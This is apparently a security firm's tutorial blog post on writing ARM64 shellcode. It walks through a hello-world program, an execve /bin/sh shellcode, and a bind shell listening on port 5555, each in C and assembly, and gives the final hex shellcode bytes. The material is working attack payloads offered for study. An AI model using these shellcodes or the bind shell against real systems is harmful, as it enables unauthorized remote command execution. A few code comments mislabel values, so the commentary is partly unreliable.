ARM64 Reversing And Exploitation Part 5 – Writing Shellcode

In this blog, we will be looking into writing ARM64 shellcodes. After reading this blog, you will get a good understanding of writing shellcodes for ARM64.

What’s a shellcode?

A Shellcode is simply a sequence of machine code or executable instructions designed to be injected into a computer’s memory to gain control over a running program. It can be used to exploit vulnerabilities like buffer overflows and gain unauthorized access to a target system. Shellcode is also used for various purposes like evasion and anti-analysis techniques.

Shellcodes can be written in programming languages like C or C++ but it would be more apt to write shellcodes in assembly language because assembly gives more flexibility and we can have more control over the bytes. In this case, we will use ARM64 assembly for generating the shellcode.

Prerequisites

  • Familiarity with ARM64 instructions.
  • Should have some basic knowledge of C programming.
  • Should have a working ARM64 environment.
 

We will be using the AARCH64 Ubuntu QEMU image from Hugsy. You can get it from here.

if you don’t have the above mentioned prerequisites, you can go through our ARM64 Exploitation series.

Hello world in ARM64

Let’s write some assembly code. It is better to faster to learn things by doing them.

Before that, There are some things to keep in your mind while writing assembly code.

  • Calling convention in ARM64
    • The first 8 arguments should be passed from x0 to x7 registers.
    • The syscall number should be specified in the x8 register.
  • Try to minimize null bytes as much as possible.
  • The return value of the function will be stored in the x0 register.

First things first, what is a syscall ?

Syscall stands for System Call. When a user-level program needs to perform some privileged operations or requires access to certain system resources that are not directly accessible, it makes a request to the kernel through a system call. System calls are a set of APIs or library functions provided by the Operating systems so that programmers use these APIs to interact with the kernel. For example, for printing something on the screen we can use the write() syscall. The syscall in arm64 is done using svc (Supervisor Call) instruction. The different syscalls are identified through a unique number by the operating system. This number is called syscall number. In ARM64 while using the syscalls the syscall number should be placed in the x8 register.th

				
					mov x8, #93 // Example of exit syscall
svc 0 
				
			

Usually, the number is ignored by the kernel so it’s not significant.

Let’s see the basic code template of an ARM64 assembly program.

				
					.global  _start
.section .text

_start:

.section .data
				
			

Let’s go through each of these.

  • .global _start

    • This line declares the symbol _start as global. _start is the entry point of the program. By declaring _start as a global symbol, it allows other parts of the program to reference and use this symbol.
  • section .text

    • This line declares that the specified code belongs to the .text section.
  • _start:

    • This line marks the start of the code section. The symbol _start is used as the entry point of the program. This is where we write our assembly instructions.
  • .section .data

    • This line indicates that the following code or data belongs to the .data section. The .data section is used to store initialized global and static variables.

We can also see that these sections are defined by using the .section symbol.

The next step is to look for the things that we require in the program for printing Hello world.

For printing something on the screen we require the write() syscall. So we need the syscall number for write. The next thing, we have to do is to define a label that holds the Hello world string in our assembly program. We can define this string in the .data section.

Firstly let’s get the syscall number for write(). We can easily get these syscall numbers using the sources below.

Let’s see the syscall number for write.

 

Shellcode-1

So the syscall number for write is 64.

There are also three arguments for write. So,

  • x0 : should contain the file descriptor value.
  • x1 : should point to the Hello world string for output.
  • x2 : should contain the number of characters to output.

So what is a file descriptor and what should be its value here?

The file descriptor is a unique identifier used by an operating system to access a file or a stream of data. In Unix-like systems, there are three standard file descriptors available.

File DescriptorDescription
0Represents standard input. This can be used to receive input from the user
1Represents standard output. This can be used to output data on the screen
2Represents standard error. This can be used to output error messages

For printing Hello world on the screen we should use the fd value of 1. So we should put his value in x0.

Let’s start writing our assembly code.

First let’s define our label for holding the Hello world string. we can define the label name as msg and use .ascii to define our string as ascii.

				
					.global  _start
.section .text

_start:

.section .data
        msg:
        .ascii "Hello world\n"
				
			

Let’s start adding the syscall number in x8 and the svc instruction.

The syscall number for write() is 64. So this should be copied into the x8. For this we can use the mov instruction. For non-hex values integer values, we can represent them using the # symbol.

				
					.global  _start
.section .text

_start:
        mov x8,#64  //Syscall number for write
        svc 0       // Supervisor call

.section .data
        msg:
        .ascii "Hello world\n"
				
			

Now let’s add the arguments of write. We can use the mov instruction to copy the values to x1 and x2. As x1 should contain a pointer to the string we can either use the ldr or the adr instruction.

 
				
					.global  _start
.section .text

_start:
        mov x0,#1    //Fd for standard input
        ldr x1,=msg // Pointer to the Hello world string
        mov x2,#12  // The number of characters in the "hello world" string
        mov x8,#64  //Syscall number for write
        svc 0       // Supervisor call

.section .data
        msg:
        .ascii "Hello world\n"
				
			

There is one more thing to add to this. After writing our string to the screen. We should also exit the syscall to terminate the process after printing our string. Let’s find the syscall number of exit()syscall and add that.

Shellcode-2

 

So the syscall number of exit is 93 and it also has an argument which is the error_code. For the error_code we can specify the value of our choice. Let’s specify that as 1.

Let’s update our assembly code.

				
					.global  _start
.section .text

_start:
        mov x0,#1    //Fd for standard input
        ldr x1,=msg // Pointer to the Hello world string
        mov x2,#12  // The number of characters in the "hello world" string
        mov x8,#64  //Syscall number for write 
        svc 0       // Supervisor call
        
        mov x8,#93  //Syscall number for exit 
        svc 0       // Supervisor call
        

.section .data
        msg:
        .ascii "Hello world\n"
				
			

Let’s assemble and link this.

 
				
					as <filename.s> -o  <filename.o>
ld <filename.o> -o  <filename>
				
			
Shellcode-3

Let’s run this and check if this works.

Shellcode-4

It’s working !!!. We can see our Hello world string printed on our screen.

Execve() shellcode

So we are done with our Hello world assembly program. Let’s create the shellcode this time.

We will be creating a shellcode to spawn a /bin/sh shell. For this, we can use the execve()syscall. So what’s the purpose of execve()syscall?

It can be used to create and execute a new process. When the execve() syscall is called it will replace the current process with the specified program, and the new program starts execution from its entry point. if you ever used the system() function in C to execute system commands. We can see that it will be using the execve syscall.

Let’s see an example program that uses the system() function to spawn a shell.

				
					#include <stdio.h>

void main(){

system("/bin/sh");

}
				
			

Compile this using gcc.

 
				
					gcc system.c -o system

				
			

Let’s run the program to see if it’s working.

Shellcode-5

Let’s use the strace command to see what are the syscalls this program is using.

Shellcode-6

We can see that it’s using execve() syscall.

Let’s look into the execve() syscall number and its arguments.

Shellcode-7

The syscall number for execve is 221. so x8 should contain 221.

There are three arguments for the execve() syscall. So we should use the first three registers (x0 to x2) for passing the parameters

  • x0: should contain the name or path of the program we want to execute. In this case, we should load x0 with the /bin/sh string because the path of the program to execute is /bin/sh.
  • x1: should contain the array of strings containing the command-line arguments to be passed to the new program. As we don’t have any arguments here we can specify zero.
  • x2: should the array of strings contain the environment variables for the new program. We can also specify zero here as we don’t require any environment variables.

Now let’s try creating an assembly program for spawning a shell using execve() syscall.

				
					//A simple assembly program to spawn a "/bin/sh" shell using execve
// execve("/bin/sh",0,0)


.global  _start
.section .text

_start: 
        ldr x0,=shell  // first argument to execve
        mov x1,#0     // second argument to execve
        mov x2,#0    // third argument to execve 
        mov x8,#221  // syscall numberto execve
        svc 0    // syscall

.section .data
shell:
        .ascii "/bin/sh\0"   // The path of the program as a null terminated string
				
			

Let’s assemble and link this.

 
				
					as execve.s -o execve.o
ld execve.o -o execve.elf
				
			

Let’s try running this.

Shellcode-8

It works fine as expected.

We don’t have much use for the assembly program. We specifically need the shellcode. Therefore, let’s attempt to extract the shellcode from this program using the below-provided regex.

				
					echo "\"$(objdump -d BINARY | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""

				
			
Shellcode-9

The extracted shellcode is :

 
				
					"\x58\x00\x00\xc0\xd2\x80\x00\x01\xd2\x80\x00\x02\xd2\x80\x1b\xa8\xd4\x00\x00\x01\x00\x00\x00\x00\x00\x41\x00\xd0\x00\x00\x00\x00"

				
			

But if you look at the shellcode there are a lot of null bytes (“\x00”).

We can use some of the strategies below to reduce the null bytes.

  • Use the xzr register instead of hardcoding the value zero.
  • In the case of svc instruction use a value that doesn’t contain null bytes. For example : 0x1337.
  • Use adr instruction of ldr.

Let’s rewrite our assembly code and see how this goes.

				
					//A simple assembly program to spawn a "/bin/sh" shell using execve
// execve("/bin/sh",0,0)

.global  _start
.section .text

_start: 
        adr x0,shell   // first argument to execve
        mov x1,xzr     // second argument to execve
        mov x2,xzr    // third argument to execve 
        mov x8,#221   // syscall numberto execve
        svc #0x1337   // syscall

.section .data
shell:
        .ascii "/bin/sh\0"  // The path of the program as a null terminated string
				
			

Assemble and link this

 
				
					as execve.s -o execve.o
ld execve.o -o execve.elf

				
			

Now let’s check if the program is working properly.

Shellcode-10

Let’s now extract the shellcode.

Shellcode-11
				
					"\x10\x08\x00\xa0\xaa\x1f\x03\xe1\xaa\x1f\x03\xe2\xd2\x80\x1b\xa8\xd4\x02\x66\xe1"

				
			

If we compare this shellcode to the above one, we can see that it is a lot smaller and also have only one null byte.

Bind shell shellcode

Let’s try working on creating a shellcode for the bind shell.

First of all, what is a bind shell?

A bind shell is a type of backdoor that enables an attacker to establish a connection with a system and execute commands. In a bind shell, the attacker can open a port on either the compromised system or the target system. The target machine listens on a specific port and establishes a connection with the attacker, allowing them to gain a shell and execute arbitrary commands. After exploiting a vulnerability, such as a buffer overflow in a system, we can attempt to execute the bind shell shellcode, making it easier to obtain a shell.

As mentioned earlier, when working with assembly, it is beneficial to obtain a rough blueprint of the assembly program using a C program. We can analyze the disassembly, trace the program, and perform other techniques to gain a better understanding.

Let’s start by writing the process for creating a bind shell in c.

  • Create a new TCP socket.
    • Use the socket() function.
  • Binding the socket to a specific port
    • Use the bind() function.
  • Listening for incoming connections
    • Use the listen() function.
  • Accepting the incoming connection
    • Use the accept() function.
  • Redirecting the STDIN, STDOUT and STDERR to a newly created socket
    • Use the dup3() function as dup2 is not available in ARM64.
  • Spawning the shell
    • Use the execve()function.

Now let’s try writing the C program.

First, let’s start with the required header files.

				
					#include <stdio.h>       #contains input and output functions 
#include <sys/types.h>   #contains various data types used in system calls 
#include <sys/socket.h>  #contains definitions and structures for socket-related functions
#include <netinet/in.h>  #contains structures for working with Internet addresses and network operations
				
			

Let’s now create a TCP socket.

There are three arguments for socket function.

socket(AF_INET, SOCK_STREAM, 0);

  • AF_INET : AF_INET Stands for Address Family Internet. It can be used to create an IPV4socket.
  • SOCK_STREAM : This parameter specifies the type of socket, which is a stream socket.SOCK_STREAM provides a reliable, connection-based byte stream using TCP.
  • 0 : For the last parameter we can specify zero. It indicates that the operating system should automatically choose the appropriate protocol based on the specified address family and socket type
				
					#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int sock;    // socket file descriptor 

void main() 
{ 
 // Create a new TCP socket 
 sock = socket(PF_INET, SOCK_STREAM, 0); 

}
				
			

Let’s create a structure variable using the sockaddr_in structure. This structure variable can be used to store the data for an IPv4 socket address, which includes the address family, port, and IP address.

 
				
					#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int sock;    // socket file descriptor 
struct sockaddr_in host_adr; // listen address

void main() 
{ 
 // Create a new TCP socket 
 sock = socket(PF_INET, SOCK_STREAM, 0); 

}
				
			

Now let’s use this host_adr structure variable to set the address family, port, and IP address.

 
				
					#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int sock;    // socket file descriptor 
struct sockaddr_in host_adr; // listen address

int sock;    // socket file descriptor 
struct sockaddr_in host_adr; // listen address

void main() 
{ 
    
// Create a new TCP socket 
sock = socket(PF_INET, SOCK_STREAM, 0); 
 
host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order 

}
				
			

Next, Let’s look into the bind() function.

The bind() function requires three parameters.

  1. sockfd: This is the socket file descriptor. It represents the socket that will be bound to the address and port.
  2. addr: This is a pointer to a struct sockaddr type that holds the address and port information.
  3. addrlen: This parameter specifies the size of the address structure pointed to by addr. It should be set to sizeof(struct sockaddr_in) or sizeof(struct sockaddr_in6)based on the address family.

Let’s update the C program and include the bind() function.

				
					#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int sock;    // socket file descriptor 
struct sockaddr_in host_adr; // listen address

void main() 
{ 
    
// Create a new TCP socket 
sock = socket(PF_INET, SOCK_STREAM, 0); 
 
host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order 

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port

}
				
			

Next let’s look briefly into the listen() function.

  1. sockfd: This is the same socket file descriptor that is used in the bind() function.
  2. backlog: This parameter specifies the maximum number of pending connections that the socket’s listen queue can hold. We can specify 2here.

Let’s update the program again.

				
					#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int sock;    // socket file descriptor 
struct sockaddr_in host_adr; // listen address

void main() 
{ 
    
// Create a new TCP socket 
sock = socket(PF_INET, SOCK_STREAM, 0); 
 
host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order 

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port  
listen(sock, 2); // Listening for incoming connections 
    
}
				
			

Next thing is to add the accept() function. Let’s also look into the accept() function.

  1. sockfd: This is the same socket file descriptor used in the above functions.
  2. addr: This is a pointer to a struct sockaddr type. We are not interested in the client’s address, so we can pass NULL.
  3. addrlen: This parameter is a pointer to a socklen_t type variable. We can also specify NULL here.

We also need a variable that will hold the new socket descriptor created by the accept() function. It represents the socket descriptor specific to the accepted connection. We will be using this socket descriptor in the dup3() function to redirect the standard input, output, and error.

Let’s add the accept() function.

				
					#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int sock;    // socket file descriptor 
struct sockaddr_in host_adr; // listen address
int newsock_fd;  // client socket fd for use in dup3()

void main() 
{ 
    
// Create a new TCP socket 
sock = socket(PF_INET, SOCK_STREAM, 0); 
 
host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order 

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port  
listen(sock, 2); // Listening for incoming connections 
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection 

}
				
			

Next, let’s look into the dup3() function and its parameters.

The dup3() function in C is used to duplicate a file descriptor while allowing the value of the new descriptor to be specified.

Let’s look at its arguments.

  1. oldfd: This is the file descriptor to be duplicated.
  2. newfd : This is the file descriptor to be used as the duplicate. If newfd is already a valid open file descriptor, it is closed before being reused as a duplicate.
  3. flags : This parameter allows you to specify additional flags for the new file descriptor. It can be a bitwise OR a combination of the following constants:

For the values of standard input, output, and error we can use the below table

File DescriptorDescription
0Represents standard input. This can be used to receive input from the user
1Represents standard output. This can be used to output data on the screen
2Represents standard error. This can be used to output error messages

Let’s update the program again.

				
					#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int sock;    // socket file descriptor 
struct sockaddr_in host_adr; // listen address
int newsock_fd;  // client socket fd for use in dup3()

void main() 
{ 
    
// Create a new TCP socket 
sock = socket(PF_INET, SOCK_STREAM, 0); 
 
host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order 

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port  
listen(sock, 2); // Listening for incoming connections 
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection
    
dup3(newsock_fd, 0, 0);  //dup3 standard input
dup3(newsock_fd, 1, 0);  //dup3 standard output
dup3(newsock_fd, 2, 0);  //dup3 standard error

}
				
			

Finally let’s add the execve() call to spawn the /bin/sh shell.

 
				
					#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int sock;    // socket file descriptor 
struct sockaddr_in host_adr; // listen address
int newsock_fd;  // client socket fd for use in dup3()

void main() 
{ 
    
// Create a new TCP socket 
sock = socket(PF_INET, SOCK_STREAM, 0); 
 
host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order 

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port  
listen(sock, 2); // Listening for incoming connections 
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection
    
dup3(newsock_fd, 0, 0);  //dup3 standard input
dup3(newsock_fd, 1, 0);  //dup3 standard output
dup3(newsock_fd, 2, 0);  //dup3 standard error
    
execve("/bin/sh", 0, 0); //Spawns the /bin/sh shell

}
				
			

Let’s now compile this using gcc.

 
				
					gcc bindshell-0x1.c -o bindshell-0x1

				
			

Let’s now run and check if the program works.

We can use netcat to connect to the bind shell. Use the command below

Shellcode-12
Shellcode-13

Wonderful!. Our program is working fine. We can execute arbitrary commands now.

Let’s use the strace command to trace the program and gain a better understanding of the underlying syscalls it uses. This is crucial because it will serve as a blueprint for writing the assembly program to generate the shellcode.

Shellcode-14
Shellcode-15

The yellow marked portion in the screenshot is the important syscalls that we will use in our shellcode.

We can also filter out the other syscalls and focus on only the important syscalls using strace.

				
					strace -e <syscalls> 

				
			
Shellcode-16

Also, keep in mind that the values printed after the = sign represent the return values of the functions.

The next step is to figure out the syscall numbers for the socket(), bind(), listen(), accept(),dup3(), and execve(). We can use this again for finding the syscall numbers.

To make the process easier for you, we already found all the syscall numbers for the above syscalls.

syscallsyscall number
socket()198
bind()200
listen()201
accept()202
dup3()24
execve()221

First, let’s start the socket() syscall. In the above C bind shell program we used the socket() function, correct? If we look at it again. It has three parameters.

				
					sock = socket(PF_INET, SOCK_STREAM, 0); 

				
			

For writing the shellcode, we must find the numbers for these arguments. We can find this in their corresponding header files.

 
				
					#define SOCK_STREAM 1   
#define AF_INET     2   /* Internet IP Protocol     */

				
			

So we can use 2 and 1 instead of PF_INET and SOCK_STREAM. In conclusion :

  • x0 : should contain the value 2.
  • x1 : should contain the value 1.
  • x2 : should contain the value 0.
  • x8 : should contain the value 198.

Let’s start writing the assembly.

				
					.global  _start
.section .text

_start:
        mov x0,#2 // socket(2, 1, 0)
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        
.section .data
				
			

There is one more step to do here. As we know, after the syscall to the socket() function, it will return a file descriptor which will be used in the next syscalls. So, we must preserve this return value(file descriptor) in another register so that we can reuse it in other syscalls. In these situations, use a register that won’t be overwritten by other value. So let’s add that.

 
				
					.global  _start
.section .text

_start:
        mov x0,#2 // socket(2, 1, 0)
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall
        
.section .data
				
			

Next, let’s add the bind() function. Before that, let’s look at the bind() function once again.

 
				
					bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); //From the above c program for bind shell.

				
			

The first argument sock should contain the socket file descriptor. The return value of the socket() syscall is the socket file descriptor. As the return value is stored in the x0 after the socket() syscall, we can just reuse that in the bind() syscall.

The second argument is the address of the structure. Let’s examine the structure.

				
					struct sockaddr_in {
    short int sin_family;           // Address family (e.g., AF_INET)
    unsigned short int sin_port;    // Port number in network byte order
    struct in_addr sin_addr;        // IP address in network byte order
    unsigned char sin_zero[8];      // Padding to make it the same size as struct sockaddr
};
				
			

Let’s also look at the size of these structure members.

  • sin_family : 2 bytes
  • sin_port : 2 bytes
  • sin_addr : 4 bytes
  • sin_zero : 8 bytes

We should define a label in the .data section of our program and add the values of the first three members of the structure. We can ignore the last one as it’s just padding. Let’s do that.

				
					.global  _start
.section .text

_start:
        mov x0,#2 // socket(2, 1, 0)
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall
        
.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 bytes
				
			

Now let’s add the code for the bind() syscall.

  • x0 : already contains the socket fd. So we don’t have to change x0.
  • x1 : should contain the address of the sockadr structure variable. For this, we can use the ldr or the adr instruction. But we should use adr because the adr instruction has fewer null bytes.
  • x2 : should contain the size of the sockadr structure variable. The size is 16 bytes (2 + 2 + 4 + 8) .
  • x8 : should contain the value 200.
				
					.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2  
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall
        
        // bind(x0, &sockadr, 16), x0 = socket fd
        adr x1,sockadr //address of the struct
        mov x2,#16  //size
        mov x8,#200 //syscall number for bind
        svc #0x1337         
        
.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 bytes
				
			

Next, we should add the listen() function.

 
				
					int listen(int sockfd, int backlog);

				
			
  • x0 : should contain the socket file descriptor (fd), as x0 is overwritten with the new return value from the bind() syscall. We can use the register x4, which contains the preserved socket fd from the socket() syscall, and copy it back to x0 again.
  • x1 : should contain the value 2.
  • x8 : should contain the value 201.
 
				
					.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2  
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall   
        
        // bind(sock, &sockadr, 16), x0 = sock
        adr x1,sockadr //address of the struct
        mov x2,#16    //size
        mov x8,#200  //syscall number for bind
        svc #0x1337 
        
        //listen(sock,0) , x0 = sock
        mov x0,x4  //sock
        mov x1,#2   //backlog
        mov x8,#201 //syscall number for listen syscall
        svc #0x1337 
        
.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 bytes
				
			

Next, let’s add the accept function.

 
				
					accept(sock, NULL, NULL)

				
			
  • x0 : should contain the socket file descriptor. We will copying this from the x4 register.
  • x1 : should contain the value 0.
  • x2 : should contain the value 0.
  • x8 : should contain the value 202.

We also need to save the new file descriptor (fd) returned from the accept() syscall. This new fd will be used in the dup3() calls.

				
					.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2  
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall   
        
        // bind(sock, &sockadr, 16), x0 = sock
        adr x1,sockadr //address of the struct
        mov x2,#16    //size
        mov x8,#200  //syscall number for bind
        svc #0x1337 
        
        //listen(sock,0) , x0 = sock
        mov x0,x4  //sock fd
        mov x1,#2   //backlog
        mov x8,#201 //syscall number for listen syscall
        svc #0x1337 
        
        //accept(sock, 0, 0)
        mov x0,x4  // sock fd
        mov x1,xzr 
        mov x2,xzr
        mov x8,#202 //syscall for accept syscall
        svc #0x1337 
        mov x4,x0 // saving the fd returned from the accept syscall
        
        
.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 byte
				
			

Let’s now add the dup3() syscalls for standard input, output and error.

 
				
					dup3(newsock_fd, 0, 0);  //dup3 standard input
dup3(newsock_fd, 1, 0);  //dup3 standard output
dup3(newsock_fd, 2, 0);  //dup3 standard error
				
			
  • x0 : should contain the new file descriptor. This can be copied from the x4 register. For the first call x0 will contain the new fd.
  • x1 : should be changed in each call according to the standard input, output and error.
  • x2 : should contain the value 0.
  • x8 : should contain the value 24.
				
					.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2  
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall   
        
        // bind(sock, &sockadr, 16), x0 = sock
        adr x1,sockadr //address of the struct
        mov x2,#16    //size
        mov x8,#200  //syscall number for bind
        svc #0x1337 
        
        //listen(sock,0) , x0 = sock
        mov x0,x4  //sock fd
        mov x1,#2   //backlog
        mov x8,#201 //syscall number for listen syscall
        svc #0x1337 
        
        //accept(sock, 0, 0)
        mov x0,x4  // sock fd
        mov x1,xzr 
        mov x2,xzr
        mov x8,#202 //syscall number for accept syscall
        svc #0x1337 
        mov x4,x0 // saving the fd returned from the accept syscall
        
        // dup3(newsock_fd, 0, 0);  //dup3 standard input
        mov x8,#24     // syscall number for dup3
        svc #0x1337
        
        // dup3(newsock_fd, 1, 0);  //dup3 standard output
        mov x0,x4 //new file descriptor         
        mov x1,#1  //standard output 
        svc #0x1337  // x8 already contains the syscall number so we don't need to assign it again
        
        //dup3(newsock_fd, 2, 0);  //dup3 standard error
        mov x0,x4
        mov x1, #2 // standard error
        svc #0x1337  // x8 already contains the syscall number so we don't need to assign it again  
                
.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 byte
				
			

The only thing remaining now is the execve() syscall. We are already familiar with how to use the execve() syscall to spawn a /bin/sh shell. Let’s add that and finish our program.

 
				
					.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2  
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall   
        
        // bind(sock, &sockadr, 16), x0 = sock
        adr x1,sockadr //address of the struct
        mov x2,#16    //size
        mov x8,#200  //syscall number for bind
        svc #0x1337 
        
        //listen(sock,0) , x0 = sock
        mov x0,x4  //sock fd
        mov x1,#2   //backlog
        mov x8,#201 //syscall number for listen syscall
        svc #0x1337 
        
        //accept(sock, 0, 0)
        mov x0,x4  // sock fd
        mov x1,xzr 
        mov x2,xzr
        mov x8,#202 //syscall number for accept syscall
        svc #0x1337 
        mov x4,x0 // saving the fd returned from the accept syscall
        
        // dup3(newsock_fd, 0, 0);  //dup3 standard input
        mov x8,#24     // syscall number for dup3
        svc #0x1337
        
        // dup3(newsock_fd, 1, 0);  //dup3 standard output
        mov x0,x4 //new file descriptor         
        mov x1,#1  //standard output 
        svc #0x1337  // x8 already contains the syscall number so we don't need to assign it again
        
        //dup3(newsock_fd, 2, 0);  //dup3 standard error
        mov x0,x4
        mov x1, #2
        svc #0x1337  // x8 already contains the syscall number so we don't need to assign it again  
        
        adr x0,shell   // first argument to execve
        mov x1,xzr     // second argument to execve, third argunment is in x2. x2 is already 0.
        mov x8,#221   // syscall numberto execve
        svc #0x1337   // syscall

                
.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 byte
        
        shell:
        .ascii  "/bin/sh\0"

				
			

Let’s assemble and link this.

Shellcode-17

Now let’s try running this and check if the program is working.

Shellcode-18
Shellcode-19

Our assembly program is working fine.

Let’s now extract the shellcode using the below regex.

				
					echo "\"$(objdump -d BINARY | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""

				
			
Shellcode-20

And the final shellcode is :

 
				
					"\xd2\x80\x00\x40\xd2\x80\x00\x21\xaa\x1f\x03\xe2\xd2\x80\x18\xc8\xd4\x02\x66\xe1\xaa\x00\x03\xe4\x10\x08\x03\x41\xd2\x80\x02\x02\xd2\x80\x19\x08\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x41\xd2\x80\x19\x28\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xaa\x1f\x03\xe1\xaa\x1f\x03\xe2\xd2\x80\x19\x48\xd4\x02\x66\xe1\xaa\x00\x03\xe4\xd2\x80\x03\x08\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x21\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x41\xd4\x02\x66\xe1\x10\x08\x00\xc0\xaa\x1f\x03\xe1\xd2\x80\x1b\xa8\xd4\x02\x66\xe1"

				
			

GET IN TOUCH

Visit our training page if you’re interested in learning more about these techniques and developing your abilities further. Additionally, you may look through our Events page and sign up for our upcoming Public trainings. 

Check out our Certifications Program and get Certified today.

Please don’t hesitate to reach out to us through out Contact Us page or through the Button below if you have any questions or need assistance with Penetration Testing or any other Security-related Services. We will answer in a timely manner within 1 business day.

We are always looking for talented people to join our team. Visit out Careers page to look at the available roles. We would love to hear from you.

On Trend

Most Popular Stories

Subscribe & Get InFormation

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.